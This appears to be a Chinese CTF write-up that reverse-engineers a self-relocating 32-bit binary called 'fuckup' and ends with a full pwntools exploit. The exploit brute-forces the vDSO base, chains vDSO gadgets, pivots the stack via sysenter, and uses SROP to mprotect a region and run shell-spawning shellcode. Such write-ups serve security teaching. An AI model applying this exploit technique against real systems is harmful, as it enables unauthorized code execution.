fuckup

32位静态链接ELF,checksec只开了NX

不过事实上这个程序自己实现了一个类似ASLR的东西,并且在程序运行流程中会运行不止一次

这会导致程序的基址和栈基址一直在变

程序没有main函数,流程在start函数里

start函数如下(已经经过重命名)

void __cdecl start(int a1)
{
  int v1; // [esp-1Ch] [ebp-78h]
  int v2; // [esp-18h] [ebp-74h]
  mode_t v3; // [esp-14h] [ebp-70h]
  int v4; // [esp-14h] [ebp-70h]
  int v5; // [esp-10h] [ebp-6Ch]
  int v6; // [esp-Ch] [ebp-68h]
  int v7; // [esp-8h] [ebp-64h]
  int v8; // [esp-4h] [ebp-60h]
  int fda; // [esp+0h] [ebp-5Ch]
  int *choice; // [esp+0h] [ebp-5Ch]
  _DWORD addr[19]; // [esp+4h] [ebp-58h] BYREF
  int *v12; // [esp+50h] [ebp-Ch]

  v12 = &a1;
  signal(14, (int)alarm_handler);
  alarm(0x1Eu);
  fda = open("/dev/urandom", 0, v3);
  read(fda, addr, 0x40u);
  close(fda);
  dword_804EB40 = &dword_8048000;
  random_seed = 0;
  ((void (__cdecl *)(_DWORD *))sub_80485D0)(addr);
  hello();
  ((void (__stdcall *)(int, int, int, int, int, int, int, int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))randomize)(
    v1,
    v2,
    v4,
    v5,
    v6,
    v7,
    v8,
    fda,
    addr[0],
    addr[1],
    addr[2],
    addr[3],
    addr[4],
    addr[5],
    addr[6],
    addr[7],
    addr[8],
    addr[9],
    addr[10],
    addr[11],
    addr[12],
    addr[13],
    addr[14],
    addr[15]);
  while ( 1 )
  {
    choice = (int *)menu();
    alarm(0x1Eu);
    switch ( (unsigned int)choice )
    {
      case 0u:
        exit(0);
      case 1u:
        display_info();
        break;
      case 2u:
        ((void (*)(void))change_random)();
        break;
      case 3u:
        view_state_info();
        break;
      case 4u:
        ((void (*)(void))test_stack_smash)();
        break;
      default:
        v12 = choice;
        write(1, "Unknown command\n", 0x10u);
        break;
    }
  }
}

在randomize中会对eip进行老地址向新地址的跳转

randomize函数如下

int __usercall sub_80481A6@<eax>(int a1@<edi>, int a2@<esi>)
{
  size_t v2; // ecx
  int v3; // edi
  int v4; // esi
  _DWORD *v5; // ecx
  unsigned int v6; // eax
  char *v7; // edx
  int i; // ecx
  unsigned int v9; // eax
  int v11; // [esp-10h] [ebp-58h]
  int v12; // [esp-Ch] [ebp-54h]
  int v13; // [esp-8h] [ebp-50h]
  __int64 seedl; // [esp+0h] [ebp-48h]
  _DWORD *v15; // [esp+8h] [ebp-40h]
  int v16; // [esp+Ch] [ebp-3Ch]
  int v17; // [esp+10h] [ebp-38h]
  int v18; // [esp+14h] [ebp-34h]
  int v19; // [esp+18h] [ebp-30h]
  void *expect; // [esp+1Ch] [ebp-2Ch]
  void *addya; // [esp+1Ch] [ebp-2Ch]
  unsigned int actual; // [esp+20h] [ebp-28h]
  int v23; // [esp+24h] [ebp-24h]
  double v24[4]; // [esp+28h] [ebp-20h] BYREF
  int savedregs; // [esp+48h] [ebp+0h] BYREF

  do
  {
    v24[0] = randf(seedl, HIDWORD(seedl)) * 4294967295.0;
    seedl = (__int64)v24[0];
    expect = (void *)(seedl & 0xFFFFF000);
    actual = mmap(v2, (int)&tbyte_804CA6C, (off_t)&savedregs, a1, a2, 0);
  }
  while ( (seedl & 0xFFFFF000) != actual );
  qmemcpy(expect, dword_804EB40, 0x7000u);
  mprotect(expect, 0x4000u, 5);
  v3 = (__int64)v24[0] & 0xFFFFF000;
  v4 = (int)dword_804EB40;
  LOWORD(v16) = HIWORD(v16) | 0xC00;
  change_addr(
    v11,
    v12,
    v13,
    v3,
    seedl,
    HIDWORD(seedl),
    &dword_804EB40,
    v16,
    v17,
    v18,
    v19,
    expect,
    actual,
    (__int64)v24[0],
    LODWORD(v24[0]));
  v5 = (_DWORD *)v24 + 1;
  do
  {
    v6 = *v5 - v4;
    if ( v6 <= 0x7000 )
      *v5 = v3 + v6;
    ++v5;
  }
  while ( (unsigned int)v5 < ((((unsigned int)v24 + 4) >> 12) + 1) << 12 );
  v7 = (char *)&tbyte_804CA6C + v3 - v4 - 12;
  for ( i = 0; i != 208; i += 4 )
  {
    v9 = *(_DWORD *)&v7[i] - v4;
    if ( v9 <= 0x7000 )
      *(_DWORD *)&v7[i] = v3 + v9;
  }
  munmap(v4, 28672);
  *v15 = addya;
  **(_DWORD **)((char *)&off_804CA64 + v3 + 0 - v4) = v23;
  return signal(14, (int)alarm_handler + v3 + 0 - v4);
}

具体eip跳转是在change_addr中实现的

change_addr函数如下

 

 跳转发生在jmp eax处

randomize函数中randf函数如下

long double randf()
{
  char v0; // bl
  int v1; // esi
  int v2; // eax
  int v3; // ecx
  unsigned int v4; // eax
  int v5; // esi
  unsigned int v7; // [esp+0h] [ebp-28h]
  unsigned int *v8; // [esp+4h] [ebp-24h]
  __int64 v9; // [esp+8h] [ebp-20h]

  v0 = dword_804CB20;
  v1 = unk_804EB48;
  v9 = ((_BYTE)dword_804CB20 + 15) & 0xF;
  v8 = (unsigned int *)(unk_804EB48 + 4 * v9);
  v7 = *v8;
  v2 = *(_DWORD *)(v1 + 4 * ((v0 + 13) & 0xF)) ^ *(_DWORD *)(unk_804EB48 + 4 * dword_804CB20) ^ (*(_DWORD *)(unk_804EB48 + 4 * dword_804CB20) << 16) ^ (*(_DWORD *)(v1 + 4 * ((v0 + 13) & 0xF)) << 15);
  v3 = *(_DWORD *)(v1 + 4 * ((v0 + 9) & 0xF)) ^ (*(_DWORD *)(v1 + 4 * ((v0 + 9) & 0xF)) >> 11);
  *(_DWORD *)(unk_804EB48 + 4 * (((_BYTE)dword_804CB20 + 10) & 0xF)) = v3 ^ v2;
  v4 = (32 * (v3 ^ v2)) & 0xDA442D24 ^ v3 ^ v2 ^ v2 ^ v7 ^ (4 * v7) ^ (v2 << 18) ^ (v3 << 28);
  *v8 = v4;
  v5 = v9;
  LODWORD(v9) = v4;
  dword_804CB20 = v5;
  return (long double)v9 * 2.3283064e-10;
}

通过搜索里面唯一的magic number 0xDA442D24可以知道这个随机数生成方法应该是well512

回到start函数,函数提供了一个功能菜单

int sub_804844D()
{
  char v1[29]; // [esp+1h] [ebp-1Dh] BYREF

  write(1, "Main Menu\n", 0xAu);
  write(1, "---------\n", 0xAu);
  write(1, "1. Display info\n", 0x10u);
  write(1, "2. Change random\n", 0x11u);
  write(1, "3. View state info\n", 0x13u);
  write(1, "4. Test stack smash\n", 0x14u);
  write(1, "-------\n", 8u);
  write(1, "0. Quit\n", 8u);
  memset(v1, 0, 5u);
  sub_80482DC(v1, 3, 10);
  return sub_80497BF(v1);
}

输入1的话会给出一堆文字描述

unsigned int display_info()
{
  write(
    1,
    "Fully Unguessable Convoluted Kinetogenic Userspace Pseudoransomization is a new method where the binary\n",
    0x68u);
  write(1, "is constantly moving around in memory.\n", 0x27u);
  return write(
           1,
           "It is also capable of moving the stack around randomly and will be able to move the heap around in the future.\n",
           0x6Fu);
}

输入2的话会改变当前程序的地址

unsigned int __usercall change_random@<eax>(int a1@<edi>, int a2@<esi>)
{
  randomize(a1, a2);
  return write(1, "App moved to new random location\n", 0x21u);
}

输入3的话会给一个与随机数相关的数值

int view_state_info()
{
  return printf("Current Random: %08x\n", random_seed);
}

输入4的话会给一次栈溢出的机会

int __usercall test_stack_smash@<eax>(int a1@<edi>, int a2@<esi>)
{
  char addr[14]; // [esp+0h] [ebp-12h] BYREF

  write(1, "Input buffer is 10 bytes in size. Accepting 100 bytes of data.\n", 0x3Fu);
  write(1, "This will crash however the location of the stack and binary are unknown to stop code execution\n", 0x60u);
  randomize(a1, a2);
  return read_n(addr, 100);
}

虽然它说buffer是10bytes,但实际上需要输入22位之后才能覆盖return addr

这里实际上有一个逻辑漏洞,漏洞点在read_n里面

int __cdecl read_n(void *addr, int n)
{
  int sum; // esi
  int v3; // edi
  int i; // esi

  sum = 0;
  do
  {
    v3 = read(0, addr, n - sum);
    if ( v3 != -1 )
      sum += v3;
  }
  while ( sum < n );
  for ( i = 0; i < v3 - 1; ++i )
    randf();
  randomize(v3, i);
  return v3;
}

漏洞点是v3 = read(0, addr, n - sum);

实际上正确的应该是v3 = read(0, addr + sum, n - sum);

所以实际上是可以通过分多次输入进行部分覆盖的

不过这次没这么做

既然栈地址和程序基址都一直在变,那么能不能找到一个不变的呢,答案是有的,也就是vdso,可以使用vdso里面的gadget

不过如果直接构造一个SROP的话,读入空间不够,因此需要进行栈迁移

这里有一个方式,就是通过sysenter

 

 0xfd5位置就是这个sysenter

关于sysenter,实际上是用户态Ring3进入内核态Ring0的指令,执行完API之后会调用sysexit从内核态Ring0回到用户态Ring3

调用sysenter时,会进行以下操作

1.将SYSENTER_CS_MSR的值装入cs寄存器

2.将SYSENTER_EIP_MSR的值装入eip寄存器

3.将SYSENTER_CS_MSR的值加8之后(也就是Ring0的堆栈段描述符)装入ss寄存器

4.将SYSENTER_ESP的值装入esp寄存器

5.将特权级切换到Ring0

6.如果EFLAGS寄存器的VM标志被置位,就清楚此标志

7.执行Ring0代码

调用sysexit时,会进行以下操作

1.将SYSENTER_CS_MSR的值加16之后(也就是Ring3的代码段描述符)装入cs寄存器

2.将edx的值装入eip寄存器

3.将SYSENTER_CS_MSR的值加24之后(也就是Ring3的堆栈段描述符)装入ss寄存器

4.将ecx的值装入esp寄存器

5.将特权级切换到Ring3

6.执行Ring3代码

因此,只要在调用sysenter前设置好ecx和edx,那么就可以控制eip和esp

因此思路如下

首先进入功能4,通过程序分次输入,控制最后一次的输入长度是3(目的是让eax=3)

然后利用rop链,修改将剩余的rop链信息输入进vdso_base - 0x4000这段可读写地址中

然后通过sysenter控制程序eip和esp,之后利用mprotect将shellcode地址设为可执行,之后执行shellcode即可

exp如下:

from pwn import *
import random

#vdso_base = 0xf7ffc000
context.arch = 'i386'
context.os = 'linux'
shellcode = asm(shellcraft.i386.linux.sh())
#context.log_level = 'debug'

def work(io, vdso_base):
    pop_edx_ecx = vdso_base + 0xfda
    int_0x80_pop_ebp_edx_ecx = vdso_base + 0xfd7
    sysenter = vdso_base + 0xfd5
    sigreturn = vdso_base + 0xff1
    pop_ebx_ebp = vdso_base + 0x71a
    shellcode_addr = vdso_base - 0x4000
    stack_addr = vdso_base - 0x3800

    io.recvuntil('0. Quit\n')
    io.sendline('4')

    payload2 = shellcode.ljust(0x800, b'\x90')
    payload2 += p32(0xdeadbeef) * 3 + p32(sigreturn)
    frame = SigreturnFrame(kernel = 'amd64')
    frame.eax = constants.SYS_mprotect
    frame.ebx = shellcode_addr
    frame.ecx = 0x1000
    frame.edx = 7
    frame.eip = int_0x80_pop_ebp_edx_ecx
    frame.esp = stack_addr + 0x80
    payload2 += bytes(frame)
    payload2 += p32(shellcode_addr) * 40

    io.recvuntil('This will crash however the location of the stack and binary are unknown to stop code execution\n')
    payload1 = b'a' * 22 + p32(pop_edx_ecx) + p32(len(payload1)) + p32(shellcode_addr)
    payload1 += p32(pop_ebx_ebp) + p32(0) + p32(stack_addr)
    payload1 += p32(int_0x80_pop_ebp_edx_ecx) + p32(stack_addr) * 3
    payload1 += p32(sysenter)
    payload1 = payload1.ljust(97, b'a')
    io.send(payload1)
    sleep(0.2)
    #gdb.attach(io, 'b *0xf7ffcfd7')
    io.send('aaa')

    sleep(0.2)
    io.send(payload2)

    sleep(0.2)
    io.sendline('echo PWN!')
    res = io.recv()
    if b'PWN!' not in res:
        raise Exception('failed')

while True:
    vdso_base = random.choice(range(0xf7f00000, 0xf7fff000, 0x1000))
    io = process('./fuckup')
    try:
        work(io, vdso_base)
        #work(io, 0xf7ffc000)
    except:
        try:
            io.close()
        except:
            pass
        continue
    io.interactive()
    break

 

posted @ 2021-08-31 23:12  hktk1643  阅读(214)  评论(0编辑  收藏  举报